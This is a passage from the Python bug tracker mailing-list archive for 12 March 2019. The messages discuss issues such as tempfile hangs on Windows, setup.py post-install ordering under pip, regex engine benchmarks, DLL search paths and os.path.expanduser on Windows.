This issue persists as of today (March 2019), in Python 3.7.2 (64 bit) running on Windows 10.  I gather from the comments that fixing it is no trivial matter, although I don't fully understand why.  The hang of "several seconds" that was originally described is at least 30 seconds on that platform -- I'm not sure when it would clear, as I didn't have the patience to wait it out.

https://stackoverflow.com/questions/55109076/python-tempfile-temporaryfile-hangs-on-windows-when-no-write-privilege

It seems to me that a genuine naming collision would be pretty rare -- at least for the (fairly common) use case I'm dealing with, trying to check where the directory is writeable or not.  Would it make sense to at least set a default number of collision-retries that is significantly lower?  Say, between 3 and 10, instead of the system max?

----------
nosy: +JDM

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22107>
_______________________________________

From report at bugs.python.org  Tue Mar 12 08:29:27 2019
From: report at bugs.python.org (Saba Kauser)
Date: Tue, 12 Mar 2019 12:29:27 +0000
Subject: [issue36269] post install in setup.py does not work when executed
 through pip
Message-ID: <1552393767.37.0.436750390868.issue36269@roundup.psfhosted.org>


New submission from Saba Kauser <skauseribmdb at gmail.com>:

Hello,

I have a post install class that looks like this:
if('darwin' in sys.platform):
    class PostInstall(install):
        """ Post installation - run install_name_tool on Darwin """
        def run(self):
            clipath = os.getenv('IBM_DB_HOME', '@loader_path/clidriver')
            print("in PostInstall with {}".format(clipath))
            for so in glob.glob(r'build/lib*/ibm_db*.so'):
                os.system("install_name_tool -change libdb2.dylib {}/lib/libdb2.dylib {}".format(clipath, so))
            install.run(self)
    cmd_class = dict(install = PostInstall)

	
And I pass cmd_class to setup(..) as:
setup(..
      include_package_data = True,
       cmdclass = cmd_class,
       **extra
     )

When I execute setup.py as "python setup.py install", then the PostInstall operation is executed after the ibm_db.so is built and installed and I see the intended result. 
However, when I run "pip install ibm_db" or "pip install .",
the execution order looks like this:
    warnings.warn(notifyString)
    running install
    in PostInstall with /Applications/dsdriver/  ==> this is my post install script
    running build
    running build_py
    creating build	
    creating build/lib.macosx-10.9-x86_64-3.7	 ==> I need to traverse to this folder to find my shared library
	
I would expect it to be run post the ibm_db is installed, not before it gets built. 

Can you please let me know how can this be fixed. Is this a bug with pip?

----------
components: Build
messages: 337736
nosy: sabakauser
priority: normal
severity: normal
status: open
title: post install in setup.py does not work when executed through pip
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36269>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:19:51 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Tue, 12 Mar 2019 13:19:51 +0000
Subject: [issue4356] Add "key" argument to "bisect" module functions
In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za>
Message-ID: <1552396791.41.0.117782736722.issue4356@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi, there has been renewed interest from @alexchamberlain and @f6v on GitHub for this feature. Would it be possible to get the patch reviewed so we can add it in 3.8?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4356>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:49:42 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 12 Mar 2019 13:49:42 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552398582.19.0.842775094467.issue35859@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12269

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:50:01 2019
From: report at bugs.python.org (Ross Biro)
Date: Tue, 12 Mar 2019 13:50:01 +0000
Subject: [issue36159] Modify Formatter Class to handle arbitrary objects
In-Reply-To: <1552362429.54.0.698121299616.issue36159@roundup.psfhosted.org>
Message-ID: <CAKL-1-9pN3dXZYdwLLVOqjVmOFP-TaFX+XebdSVsoJ8Ls807ag@mail.gmail.com>


Ross Biro <rbiro at interfacefinancial.com> added the comment:

I'm currently writing a language translator between two domain specific
computer languages.  Because some expressions occur repeatedly, but in
slightly different contexts, I make multiple passes.  The first pass
reduces everything it can and leaves place holder objects for things it
can't reduce.  Later passes replace the objects with their final expression
in the new language.  The final expression varies by context, so every time
it's reevaluated, it could change.  I would really like to handle things
like a + b as

"{a} + {b}".format(a=a, b=b)

This works great when a and b are strings.  But when they are place holder
objects, I wasn't able to find a good solution.  Although the Formatter
class came so close that I thought I would suggest the change.  What I
ended up doing was replacing objects with unique strings so that I could
use format and then using regular expressions on the output string to split
it into an array and replace the string identifiers with the original
objects.  The change I've suggested to the Formatter class would have
allowed me to skip the regular expressions.

    Ross

On Mon, Mar 11, 2019 at 11:47 PM Lisa Roach <report at bugs.python.org> wrote:

>
> Lisa Roach <lisaroach14 at gmail.com> added the comment:
>
> Can you give an example use case for this? F-strings are the newer method
> of string interpolation, I'm not sure it's worth putting effort into adding
> features to string.Formatter.
>
> ----------
> nosy: +lisroach
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36159>
> _______________________________________
>

-- 
*Ross Biro* | CTO
_______________________________________

O: 240-380-2231|  F: 240-556-0361 <(240)%20556-0361>
The Interface Financial Group <https://interfacefinancial.com/>

CONFIDENTIALITY NOTICE: This email message, including any attachments, is
for the sole use of the intended recipient/s and may contain confidential &
privileged information. Any unauthorized review, use, disclosure, or
distribution is prohibited. If you are not the intended recipient, please
contact the sender by reply email and destroy all copies of the original
messages and any attachments.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36159>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:50:33 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 12 Mar 2019 13:50:33 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552398633.52.0.900887874282.issue35859@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12270

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:51:22 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 12 Mar 2019 13:51:22 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552398682.2.0.879608017869.issue35859@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12271

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:52:50 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 12 Mar 2019 13:52:50 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552398770.87.0.948510785414.issue35859@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

> Could you please create and run some microbenchmarks to measure
> possible performance penalty of additional MARH_PUSHes? I am 
> especially interesting in worst cases.

Besides the worst case, I prepared two solutions.

Solution_A (PR12288):
Fix the bugs, I can find test-case for every changes.
I feel JUMP_MIN_UNTIL_3 should MARK_PUSH() as well, but I really can't find a test-case to prove this feel.
Commit_12 is a safety-check, if JUMP_MIN_UNTIL_3 or other JUMPs should be protected, maybe there will be a bug report come from millions of users.

Solution_B (PR12289):
Based on Solution_A, protects JUMP_MIN_UNTIL_3.

Worst (PR12290):
Based on Solution_B, protects in everywhere, this should the worst performance.

Legend of this table:
* No: no protection
* L : LASTMARK_SAVE()
* Mu: MARK_PUSH() unconditionally
* Mr: MARK_PUSH() if in a repeat

                  unpatched  Solution_A  Solution_B   Worst
JUMP_MAX_UNTIL_1     No         No          No    ->  L/Mu
JUMP_MAX_UNTIL_2     L/Mu       L/Mu        L/Mu      L/Mu
JUMP_MAX_UNTIL_3     No         No          No    ->  L/Mu

JUMP_MIN_UNTIL_1     No         No          No    ->  L/Mu
JUMP_MIN_UNTIL_2     L    ->    L/Mr        L/Mr  ->  L/Mu
JUMP_MIN_UNTIL_3     No         No     ->   L/Mu  ->  L/Mu

JUMP_REPEAT_ONE_1    L    ->    L/Mr        L/Mr  ->  L/Mu
JUMP_REPEAT_ONE_2    L    ->    L/Mr        L/Mr  ->  L/Mu

JUMP_MIN_REPEAT_ONE  L    ->    L/Mr        L/Mr  ->  L/Mu

JUMP_BRANCH          L/Mr       L/Mr        L/Mr  ->  L/Mu

JUMP_ASSERT          No         No          No    ->  L/Mu

JUMP_ASSERT_NOT      No   ->    L/Mr        L/Mr  ->  L/Mu

? I made a benchmark tool for Python RE engines.
https://github.com/animalize/re_benchmarks

re100mb.py was extracted from a real case, process 100MB real data in 16 rounds (with 16 patterns).
This table picks best of 4 results from each round:

             unpatched  A        B        Worst    regex 2019.3.9
test 01 best:  0.647    0.629    0.625    0.635    0.102
test 02 best:  3.980    4.046    4.052    4.005    4.530
test 03 best:  0.730    0.708    0.709    0.706    0.433
test 04 best:  0.763    0.743    0.740    0.736    0.799
test 05 best:  2.566    2.693    2.692    2.654    0.981
test 06 best:  0.883    0.865    0.859    0.874    0.872
test 07 best:  2.847    2.773    2.797    2.890    1.202
test 08 best:  3.644    3.664    3.740    3.699    1.139
test 09 best:  0.344    0.348    0.343    0.345    0.378
test 10 best:  0.341    0.347    0.343    0.344    0.407
test 11 best:  4.490    4.655    4.520    4.440    1.340
test 12 best:  0.264    0.263    0.262    0.264    0.271
test 13 best:  0.230    0.230    0.231    0.233    0.281
test 14 best:  0.932    0.925    0.919    0.943    0.334
test 15 best:  1.837    1.815    1.804    1.866    0.683
test 16 best:  1.691    1.708    1.676    2.042    3.805
--------------------------------------------------------
sum of above: 26.189   26.412   26.312   26.676   17.557

There seems no significant changes.

? Below are some micro benchmarks, run t.py with the benchmark tool testit.py

SRE_OP_MAX_UNTIL a few repeats
unpatched: 744.85 nsec
SolutionA: 755.86 nsec
SolutionB: 745.14 nsec
Worst:     843.56 nsec
regex:     2.45 usec

SRE_OP_MAX_UNTIL many repeats
unpatched: 393.24 msec
SolutionA: 321.16 msec
SolutionB: 323.24 msec
Worst:     498.48 msec
regex:     240.73 msec

------------------
SRE_OP_MIN_UNTIL a few repeats
unpatched: 702.75 nsec
SolutionA: 701.90 nsec
SolutionB: 730.81 nsec
Worst:     873.67 nsec
regex:     1.84 usec

SRE_OP_MIN_UNTIL many repeats
unpatched: 210.60 msec
SolutionA: 174.20 msec
SolutionB: 323.93 msec
Worst:     491.73 msec
regex:     195.11 msec

------------------
SRE_OP_REPEAT_ONE short string
unpatched: 466.56 nsec
SolutionA: 468.85 nsec
SolutionB: 466.04 nsec
Worst:     463.86 nsec
regex:     1.13 usec

SRE_OP_REPEAT_ONE long string
unpatched: 2.19 msec
SolutionA: 2.19 msec
SolutionB: 2.19 msec
Worst:     2.19 msec
regex:     3.23 msec

------------------
SRE_OP_MIN_REPEAT_ONE short string
unpatched: 563.76 nsec
SolutionA: 566.68 nsec
SolutionB: 561.92 nsec
Worst:     601.69 nsec
regex:     1.12 usec

SRE_OP_MIN_REPEAT_ONE long string
unpatched: 11.16 msec
SolutionA: 11.27 msec
SolutionB: 10.55 msec
Worst:     15.97 msec
regex:     7.24 msec

------------------
SRE_OP_BRANCH
unpatched: 419.34 nsec
SolutionA: 422.07 nsec
SolutionB: 418.25 nsec
Worst:     423.56 nsec
regex:     1.34 usec

------------------
SRE_OP_ASSERT
unpatched: 320.58 nsec
SolutionA: 326.29 nsec
SolutionB: 320.81 nsec
Worst:     333.22 nsec
regex:     1.14 usec

SRE_OP_ASSERT_NOT
unpatched: 440.18 nsec
SolutionA: 440.93 nsec
SolutionB: 434.44 nsec
Worst:     446.33 nsec
regex:     1.00 usec

? reduce the size of match_context struct

In stack-consuming scenes, Solution_A and Solution_B are better than unpatched.
This is because commit 10 and commit 11, they reduced the size of match_context struct, the stack uses this struct to simulate recursive call.

On 32 bit platform, sizeof(match_context): 36 bytes -> 32 bytes.
On 64 bit platform, sizeof(match_context): 72 bytes -> 56 bytes.

It brings:
- deeper recursive call
- less memory consume
- less memory realloc

If limit the stack size to 1GB, the max value of n is:

re.match(r'(ab)*', n * 'ab')   # need to save MARKs
72 bytes: n = 11,184,809
64 bytes: n = 12,201,610
56 bytes: n = 13,421,771

re.match(r'(?:ab)*', n * 'ab') # no need to save MARKs
72 bytes: n = 13,421,770
64 bytes: n = 14,913,079
56 bytes: n = 16,777,214

? Future optimizations
> If the penalty is significant, it will be a goal of future optimizations.

Maybe these two questions can be predicted when compiling the pattern:
- whether protect or not
- which MARKs should be protected
Then sre don't need to MARK_PUSH() all available MARKs to stack.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 12 09:56:32 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 12 Mar 2019 13:56:32 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552398992.13.0.985703088278.issue35859@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


Added file: https://bugs.python.org/file48204/t.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:14:36 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 12 Mar 2019 14:14:36 +0000
Subject: [issue36270] DOC: Add link to sys.exc_info for "Reference Manual"
Message-ID: <1552400076.95.0.491371003303.issue36270@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In the docs for `sys.exc_info()`, the description of traceback says:

traceback gets a traceback object (see the ---> Reference Manual <---) which encapsulates the call stack at the point where the exception originally occurred.

It might be nice if Reference Manual had a link.

Assigning to @Mariatta for the PyCon sprint.

----------
assignee: Mariatta
components: Documentation
messages: 337740
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Add link to sys.exc_info for "Reference Manual"
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36270>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:20:40 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 14:20:40 +0000
Subject: [issue4356] Add "key" argument to "bisect" module functions
In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za>
Message-ID: <1552400440.03.0.83074504909.issue4356@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I'll look at it this weekend.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4356>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:23:28 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 12 Mar 2019 14:23:28 +0000
Subject: [issue15749] cgitb prints html for text when display disabled.
In-Reply-To: <1345523795.76.0.397222969623.issue15749@psf.upfronthosting.co.za>
Message-ID: <1552400608.9.0.29104440153.issue15749@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I can still recreate this issue under 3.8.  Should this patch be converted to a GitHub pull request?

----------
nosy: +cheryl.sabella
versions: +Python 3.7, Python 3.8 -Python 2.7, Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15749>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:24:25 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Tue, 12 Mar 2019 14:24:25 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
In-Reply-To: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>
Message-ID: <1552400665.32.0.400571228635.issue36225@roundup.psfhosted.org>


Joannah Nanjekye <nanjekyejoannah at gmail.com> added the comment:

I have been wondering where the regression to test this can be put..in test__xxsubinterpreters.py may be?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:29:03 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 14:29:03 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1552400943.0.0.497012175543.issue36218@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the analysis and the suggested PR which is now awaiting review.  While segfaults are nasty, I don't see how this problem would be likely exploitable as a DoS without direct access to the interpreter.  So I'm downgrading it to "deferred blocker" for now to unblock 3.7.3rc1.

----------
priority: release blocker -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:30:43 2019
From: report at bugs.python.org (=?utf-8?q?D=C3=A1vid_Nemeskey?=)
Date: Tue, 12 Mar 2019 14:30:43 +0000
Subject: [issue36271] '_io.TextIOWrapper' object has no attribute 'mode'
Message-ID: <1552401043.29.0.979236036871.issue36271@roundup.psfhosted.org>


New submission from D?vid Nemeskey <nemeskeyd at gmail.com>:

TextIOWrapper objects returned by gzip.open() or bz2.open() do not have the 'mode' data member. Those returned by io.open() do. It would be nice if it did.

----------
components: Library (Lib)
messages: 337745
nosy: nemeskeyd
priority: normal
severity: normal
status: open
title: '_io.TextIOWrapper' object has no attribute 'mode'
versions: Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36271>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:35:59 2019
From: report at bugs.python.org (=?utf-8?q?D=C3=A1vid_Nemeskey?=)
Date: Tue, 12 Mar 2019 14:35:59 +0000
Subject: [issue36271] '_io.TextIOWrapper' object has no attribute 'mode'
In-Reply-To: <1552401043.29.0.979236036871.issue36271@roundup.psfhosted.org>
Message-ID: <1552401359.95.0.606954121052.issue36271@roundup.psfhosted.org>


D?vid Nemeskey <nemeskeyd at gmail.com> added the comment:

Note that this is not the same as GZipFile.mode, which is 1 or 2 (READ or WRITE), instead of the more informative "[raw][bt ]".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36271>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:47:03 2019
From: report at bugs.python.org (Saim Raza)
Date: Tue, 12 Mar 2019 14:47:03 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
Message-ID: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>


New submission from Saim Raza <saimorsaim at gmail.com>:

Following code logs an error and calls itself leading to stack overflow and eventually core dump in Python 3.6.

>>> import logging
>>> def rec():
...     logging.error("foo")
...     rec()
>>> rec()

[1]    101641 abort (core dumped)  python3
FTR, this doesn't crash Python 2.7.

Attaching the error (condensed) in Python 3.6:

ERROR:root:foo
...
--- Logging error ---
Traceback (most recent call last):
...
RecursionError: maximum recursion depth exceeded in comparison
...
Fatal Python error: Cannot recover from stack overflow.
...
[1]    101641 abort (core dumped)  python3
Python 2.7:

RuntimeError: maximum recursion depth exceeded
But no core dump in Python 2.7.

FTR, the error above with Python 3.6 will come into play if the log level is set to logging.ERROR. Similarly for other log levels.

----------
components: Library (Lib)
messages: 337747
nosy: Saim Raza
priority: normal
severity: normal
status: open
title: Recursive logging crashes Interpreter in Python 3
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:56:30 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 14:56:30 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552402590.55.0.140276183848.issue36272@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I am not sure this is related to logging and looks similar to issue35542 except stack (depends on OS) is exhausted without setrecursionlimit(). What does below return?

def rec():
    rec()

rec()

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:15:03 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:15:03 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552403703.17.0.955231495553.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> That will require rewriting many scripts and packages that use ctypes or cffi
> to load DLLs. It would also break DLLs that internally rely on modifying PATH
> for a delayed load, though I hope that's uncommon. I think it's easier for
> everyone else if we implement this just for extension-module loading with the
> LoadLibraryExW flags.

Only if they're loading them via PATH. If they're using full paths they'll be fine, and if they're using system DLLs they'll be fine. In both cases, the fix will work (better) with existing versions.

> Also, if I'm understanding your intention, loading an extension may fail when
> Python is embedded if the process is using the legacy DLL search path.

That's true. "import" will always use the secure flags, and so if you were relying on PATH to locate dependencies of the extension module (note that extension modules themselves are loaded by full path, so it doesn't apply to them), you need to stop doing that.

> Also, at runtime we can raise a SystemError if AddDllDirectory isn't found via
> GetProcAddress. This supports portable Python installations.

This adds a lot of complexity for very old Windows 7 installs. I'm not inclined to care that much for them - installing security updates isn't a big ask for a nearly EOL operating system.

> Correct me if I'm wrong, but once SetDefaultDllDirectories() is used, there is
> no going back: PATH no longer can change the search path no matter what flags
> are used with LoadLibrary* calls

Correct. But this is already the case if your sysadmin has enabled certain policies or if you're running via Store Python. So you can't rely on PATH anyway.

> Why is this CPython-specific and "private"? It seems like
> * it should be a public interface, used by all implementations consistently,
> as a policy decision for the win32 platform and documented as such

Not every implementation has to support Windows. We can certainly recommend that those that do copy it, but I'm not going to force MicroPython to declare an exception from a standard Python API.

> * located in os, much like os.environ (not critical)

Fair point. It can go into os. :)

> There should be some kind of debugging tool for when LoadLibraryEx fails, to
> indicate what might have gone wrong, perhaps os.getdlldirectory() would be
> helpful

I'd love to have this. Now someone just has to invent one that can be used from Python :) It's unrelated to this discussion - in fact, this change will make it so that you get the failure on _all_ machines, not just on some random user's machine.

We can't retrieve the true search path, only the ones that were added through an API that we control and making assumptions based on the documentation. I think this would be more of a distraction. The best way to diagnose actual LoadLibrary failures is to use a debugger, at which point simply getting the search paths doesn't add anything.

> This bothers me - how will backward compatibility work in that case?

The new search order is compatible with the old search order, so you can update all your layouts to have DLL dependencies in suitable locations and you'll be fine.

And if you're still writing code for Windows 7 with no security updates installed, Python 3.8 isn't going to save you anyway.

> I really have no feel as to what practical impact there would be on an
> embedded application.

Since we're not going to change the default search directories for the entire process when embedding, the only practical impact is that your extension modules need to have their dependent DLLs either:
* in the system directory
* adjacent to the .pyd file
* in a directory added using AddDllDirectory

And if the embedding application is already calling SetDefaultDllDirectories, as has been recommended for years, then they're already experiencing this change and won't have to update a thing.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:17:55 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:17:55 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552403875.71.0.141836001334.issue36264@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I like the patch, but I'm not sure all the tests are properly preserving the real value of USERPROFILE.

Modifying this value could have a real impact on the rest of the process, so we should be very careful to undo it regardless of test result. (Modifying HOME is not a as big a deal since, as you point out, it's not "real" ;) )

Also, it's probably better to get the current value and check against that, rather than setting it to a known value. One day we might do the right thing and switch expanduser() from the environment variables to the correct API, which would break the test.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:26:42 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 15:26:42 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552404402.35.0.752334075472.issue30040@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I don't think this should have been done.  Conceptually, there is no basis for presuming key-sharing for new empty dicts -- you can't know what they would share with.  This patch essentially undoes the entire reason for having a pre-allocated minsize dict.  If it were deemed to be the norm that applications typically had huge numbers of empty dicts that were never populated, then the correct solution would be a NULL pointer to the table field (as dicts do).

FWIW, the macro benchmarks aren't very informative here because they don't exercise much of this code.  I think there is an over-prioritization of small space savings at the expense of the intended use cases for dicts.  This patch just forces every dict that gets used to have to convert back from a key-sharing dict and do a memory allocation and memset(0) in the process.  The whole point of the minsize dict was to avoid that cost in the common case of small dicts (i.e. passing keyword arguments).

----------
nosy: +rhettinger, tim.peters
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:27:07 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:27:07 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552404427.35.0.803931153699.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12272

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:28:40 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Tue, 12 Mar 2019 15:28:40 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552404520.37.0.358503276428.issue36264@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

> Modifying this value could have a real impact on the rest of the process, so we should be very careful to undo it regardless of test result. (Modifying HOME is not a as big a deal since, as you point out, it's not "real" ;) )

Agreed, though I'd like to write it off as an existing problem (if it is a problem, it looks to me like the tests are doing proper environment cleanup).  If they are broken, they'd already be leaking environment variables on posix since these tests run on both

Auditing the tests I modified:

- test_netrc: uses `with support.EnvironmentVarGuard() as environ:` (OK!)
- test_ntpath: uses `with support.EnvironmentVarGuard() as env:` (OK!)
- test_dist: `MetadataTestCase` extends `support.EnvironGuard` (OK!)
- test_config: `BasePyPIRCCommandTestCase` extends `support.EnvironGuard` (OK!)

so actually, looks like this is already good to go on that front!

Definitely agree on using the true value in the long term -- I'd like to defer that until that's actually happening though as it'll be a much more involved patch!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:34:51 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:34:51 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552404891.86.0.243184011462.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Thanks. Just posted a PR that puts the print behind a verbose flag (on Python 3 it uses subtest so that we see which character caused the failure).

If that doesn't work for whatever reason, I'll just leave it out and hope that we never have to debug it on Python 2 :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:39:21 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:39:21 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552405161.7.0.574908555203.issue36264@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Great, thanks for checking! I'll merge.

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:40:21 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 15:40:21 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552405221.65.0.601334039022.issue36264@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 25ec4a45dcc36c8087f93bd1634b311613244fc6 by Steve Dower (Anthony Sottile) in branch 'master':
bpo-36264: Don't honor POSIX HOME in os.path.expanduser on Windows (GH-12282)
https://github.com/python/cpython/commit/25ec4a45dcc36c8087f93bd1634b311613244fc6


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 11:42:13 2019
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 12 Mar 2019 15:42:13 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552405333.17.0.199439022549.issue36264@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

If we're going ahead with this, it's worth a mention in whatsnew as this is going to break things for some users.

----------

_______________________________________
